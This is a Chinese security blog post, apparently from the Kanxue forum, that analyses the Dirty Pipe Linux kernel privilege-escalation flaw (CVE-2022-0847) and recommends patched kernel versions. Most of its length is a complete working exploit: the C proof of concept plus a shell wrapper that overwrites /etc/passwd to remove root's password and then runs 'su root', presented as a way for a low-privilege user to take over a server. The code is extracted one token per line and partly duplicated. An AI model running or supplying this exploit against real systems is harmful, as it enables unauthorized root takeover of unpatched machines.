2022年3月7日,安全研究员Max提出一个Linux内核提权漏洞CVE-2022-0847,利用该漏洞,攻击者能够实现低权限用户提升至root权限,且完成主机任意可读文件的读写。该漏洞在原理上与先前出现的“DirtyCow”脏牛提权漏洞类似,且本质上是由于Kernel内核中编写的匿名管道限制不严的问题,所以将其命名为“DirtyPipe”。
该漏洞目前评级为高危,利用难度为简易,具体影响版本为:5.8≤Linux kernel version≤5.16.11/5.15.25/5.10.102
起初是由于一次简单的服务器日志损坏解压错误,频繁会出现文件末尾CRC校验错误,Max构造了两个模拟程序验证了是linux内核覆盖写问题:
第一个程序模拟日志写入:
第二个程序模拟数据传输管道写:
实验进行后正常的情况应该是:模拟日志中应都是AAAAA字段,而实验结果是字符串BBBBB,即出现了没有写入权限的进程居然能够向管道中覆盖写入数据。
分析其kernel代码可知道其原因:
这里flag是管道初始化时的一个标志位,控制写入是否开辟新地址空间,可以看到我们这里对于flag的控制仅仅是判断了空间是否超过了上限却没有判断空间是否为空,所以会导致一个严重问题:如果我们将一个管道空间排空,那么对应的flag标志位是不会被改变或者说重新初始化的,所以我们就能够依旧在该管道进行“脏数据”写入,因此在上述Max的实验中进行管道数据读入缓冲区的过程中出现一个写进程即会导致我们能够对该读取文件进行一个追写。
因此,我们利用该漏洞能够实现任意可读文件的无权限写入,进一步我们在linux提权过程中,由于/etc/passwd文件可读所以我们也可以进行root密码的覆盖写,最终实现无密码登录root。
主要思路:
1.创建一个管道
2.用任意数据填充管道(PIPE_BUF_FLAG_CAN_MERGE初始化为可在当前空间写,无需创建新的缓冲空间)
3.排空管道(此时PIPE_BUF_FLAG_CAN_MERGE依旧保持2中状态)
4.进行目标文件拼接(数据从目标偏移之前的位置拼接到管道中)
5.任意数据写入覆盖
poc如下:
如上图所示为普通用户直接提升至root,一般利用方法即在低权限shell下运行该脚本即可获得服务器最高权限
尽快升级linux内核至如下版本:Linux 5.16.11、5.15.25 和 5.10.102
1.Max Kellermann博客地址:https://dirtypipe.cm4all.com/
2.poc地址:https://github.com/imfiver/CVE-2022-0847/blob/main/Dirty-Pipe.sh
int
main(
int
argc, char
*
*
argv) {
for
(;;) write(
1
,
"AAAAA"
,
5
);
}
/
/
.
/
writer >foo
int
main(
int
argc, char
*
*
argv) {
for
(;;) write(
1
,
"AAAAA"
,
5
);
}
/
/
.
/
writer >foo
int
main(
int
argc, char
*
*
argv) {
for
(;;) {
splice(
0
,
0
,
1
,
0
,
2
,
0
);
write(
1
,
"BBBBB"
,
5
);
}
}
/
/
.
/
splicer <foo |cat >
/
dev
/
null
int
main(
int
argc, char
*
*
argv) {
for
(;;) {
splice(
0
,
0
,
1
,
0
,
2
,
0
);
write(
1
,
"BBBBB"
,
5
);
}
}
/
/
.
/
splicer <foo |cat >
/
dev
/
null
if
(pipe_buf_can_merge(buf) && offset
+
chars <
=
PAGE_SIZE) {
ret
=
pipe_buf_confirm(pipe, buf);
if
(ret)
goto out;
......
buf
-
>flags
=
PIPE_BUF_FLAG_PACKET;
}
if
(pipe_buf_can_merge(buf) && offset
+
chars <
=
PAGE_SIZE) {
ret
=
pipe_buf_confirm(pipe, buf);
if
(ret)
goto out;
......
buf
-
>flags
=
PIPE_BUF_FLAG_PACKET;
}
cat>exp.c<<EOF
/
*
SPDX
-
License
-
Identifier: GPL
-
2.0
*
/
/
*
*
Copyright
2022
CM4all GmbH
/
IONOS SE
*
*
author:
Max
Kellermann <
max
.kellermann@ionos.com>
*
*
Proof
-
of
-
concept exploit
for
the Dirty Pipe
*
vulnerability (CVE
-
2022
-
0847
) caused by an uninitialized
*
"pipe_buffer.flags"
variable. It demonstrates how to overwrite
any
*
file
contents
in
the page cache, even
if
the
file
is
not
permitted
*
to be written, immutable
or
on a read
-
only mount.
*
*
This exploit requires Linux
5.8
or
later; the code path was made
*
reachable by commit f6dd975583bd ("pipe: merge
*
anon_pipe_buf
*
_ops"). The commit did
not
introduce the bug, it was
*
there before, it just provided an easy way to exploit it.
*
*
There are two major limitations of this exploit: the offset cannot
*
be on a page boundary (it needs to write one byte before the offset
*
to add a reference to this page to the pipe),
and
the write cannot
*
cross a page boundary.
*
*
Example: .
/
write_anything
/
root
/
.ssh
/
authorized_keys
1
$
'\nssh-ed25519 AAA......\n'
*
*
Further explanation: https:
/
/
dirtypipe.cm4all.com
/
*
/
/
*
*
*
Create a pipe where
all
"bufs"
on the pipe_inode_info ring have the
*
PIPE_BUF_FLAG_CAN_MERGE flag
set
.
*
/
static void prepare_pipe(
int
p[
2
])
{
if
(pipe(p)) abort();
const unsigned pipe_size
=
fcntl(p[
1
], F_GETPIPE_SZ);
static char
buffer
[
4096
];
/
*
fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag
*
/
for
(unsigned r
=
pipe_size; r >
0
;) {
unsigned n
=
r > sizeof(
buffer
) ? sizeof(
buffer
) : r;
write(p[
1
],
buffer
, n);
r
-
=
n;
}
/
*
drain the pipe, freeing
all
pipe_buffer instances (but
leaving the flags initialized)
*
/
for
(unsigned r
=
pipe_size; r >
0
;) {
unsigned n
=
r > sizeof(
buffer
) ? sizeof(
buffer
) : r;
read(p[
0
],
buffer
, n);
r
-
=
n;
}
/
*
the pipe
is
now empty,
and
if
somebody adds a new
pipe_buffer without initializing its
"flags"
, the
buffer
will be mergeable
*
/
}
int
main(
int
argc, char
*
*
argv)
{
if
(argc !
=
4
) {
fprintf(stderr,
"Usage: %s TARGETFILE OFFSET DATA\n"
, argv[
0
]);
return
EXIT_FAILURE;
}
/
*
dumb command
-
line argument parser
*
/
const char
*
const path
=
argv[
1
];
loff_t offset
=
strtoul(argv[
2
], NULL,
0
);
const char
*
const data
=
argv[
3
];
const size_t data_size
=
strlen(data);
if
(offset
%
PAGE_SIZE
=
=
0
) {
fprintf(stderr,
"Sorry, cannot start writing at a page boundary\n"
);
return
EXIT_FAILURE;
}
const loff_t next_page
=
(offset | (PAGE_SIZE
-
1
))
+
1
;
const loff_t end_offset
=
offset
+
(loff_t)data_size;
if
(end_offset > next_page) {
fprintf(stderr,
"Sorry, cannot write across a page boundary\n"
);
return
EXIT_FAILURE;
}
/
*
open
the
input
file
and
validate the specified offset
*
/
const
int
fd
=
open
(path, O_RDONLY);
/
/
yes, read
-
only! :
-
)
if
(fd <
0
) {
perror(
"open failed"
);
return
EXIT_FAILURE;
}
struct stat st;
if
(fstat(fd, &st)) {
perror(
"stat failed"
);
return
EXIT_FAILURE;
}
if
(offset > st.st_size) {
fprintf(stderr,
"Offset is not inside the file\n"
);
return
EXIT_FAILURE;
}
if
(end_offset > st.st_size) {
fprintf(stderr,
"Sorry, cannot enlarge the file\n"
);
return
EXIT_FAILURE;
}
/
*
create the pipe with
all
flags initialized with
PIPE_BUF_FLAG_CAN_MERGE
*
/
int
p[
2
];
prepare_pipe(p);
/
*
splice one byte
from
before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does
not
initialize the
"flags"
, PIPE_BUF_FLAG_CAN_MERGE
is
still
set
*
/
-
-
offset;
ssize_t nbytes
=
splice(fd, &offset, p[
1
], NULL,
1
,
0
);
if
(nbytes <
0
) {
perror(
"splice failed"
);
return
EXIT_FAILURE;
}
if
(nbytes
=
=
0
) {
fprintf(stderr,
"short splice\n"
);
return
EXIT_FAILURE;
}
/
*
the following write will
not
create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag
*
/
nbytes
=
write(p[
1
], data, data_size);
if
(nbytes <
0
) {
perror(
"write failed"
);
return
EXIT_FAILURE;
}
if
((size_t)nbytes < data_size) {
fprintf(stderr,
"short write\n"
);
return
EXIT_FAILURE;
}
printf(
"It worked!\n"
);
return
EXIT_SUCCESS;
}
EOF
gcc exp.c
-
o exp
-
std
=
c99
rm
-
f
/
tmp
/
passwd
cp
/
etc
/
passwd
/
tmp
/
passwd
if
[
-
f
"/tmp/passwd"
];then
echo
"/etc/passwd已备份到/tmp/passwd"
passwd_tmp
=
$(cat
/
etc
/
passwd|head)
.
/
exp
/
etc
/
passwd
1
"${passwd_tmp/root:x/oot:}"
echo
-
e
"\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
su root
else
echo
"/etc/passwd未备份到/tmp/passwd"
exit
1
fi
cat>exp.c<<EOF
/
*
SPDX
-
License
-
Identifier: GPL
-
2.0
*
/
/
*
*
Copyright
2022
CM4all GmbH
/
IONOS SE
*
*
author:
Max
Kellermann <
max
.kellermann@ionos.com>
*
*
Proof
-
of
-
concept exploit
for
the Dirty Pipe
*
vulnerability (CVE
-
2022
-
0847
) caused by an uninitialized
*
"pipe_buffer.flags"
variable. It demonstrates how to overwrite
any
*
file
contents
in
the page cache, even
if
the
file
is
not
permitted
*
to be written, immutable
or
on a read
-
only mount.
*
*
This exploit requires Linux
5.8
or
later; the code path was made
*
reachable by commit f6dd975583bd ("pipe: merge
*
anon_pipe_buf
*
_ops"). The commit did
not
introduce the bug, it was
*
there before, it just provided an easy way to exploit it.
*
*
There are two major limitations of this exploit: the offset cannot
*
be on a page boundary (it needs to write one byte before the offset
*
to add a reference to this page to the pipe),
and
the write cannot
*
cross a page boundary.
*
*
Example: .
/
write_anything
/
root
/
.ssh
/
authorized_keys
1
$
'\nssh-ed25519 AAA......\n'
*
*
Further explanation: https:
/
/
dirtypipe.cm4all.com
/
*
/
/
*
*
*
Create a pipe where
all
"bufs"
on the pipe_inode_info ring have the
*
PIPE_BUF_FLAG_CAN_MERGE flag
set
.
*
/
static void prepare_pipe(
int
p[
2
])
{
if
(pipe(p)) abort();
const unsigned pipe_size
=
fcntl(p[
1
], F_GETPIPE_SZ);
static char
buffer
[
4096
];
/
*
fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag
*
/
for
(unsigned r
=
pipe_size; r >
0
;) {
unsigned n
=
r > sizeof(
buffer
) ? sizeof(
buffer
) : r;
write(p[
1
],
buffer
, n);
r
-
=
n;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!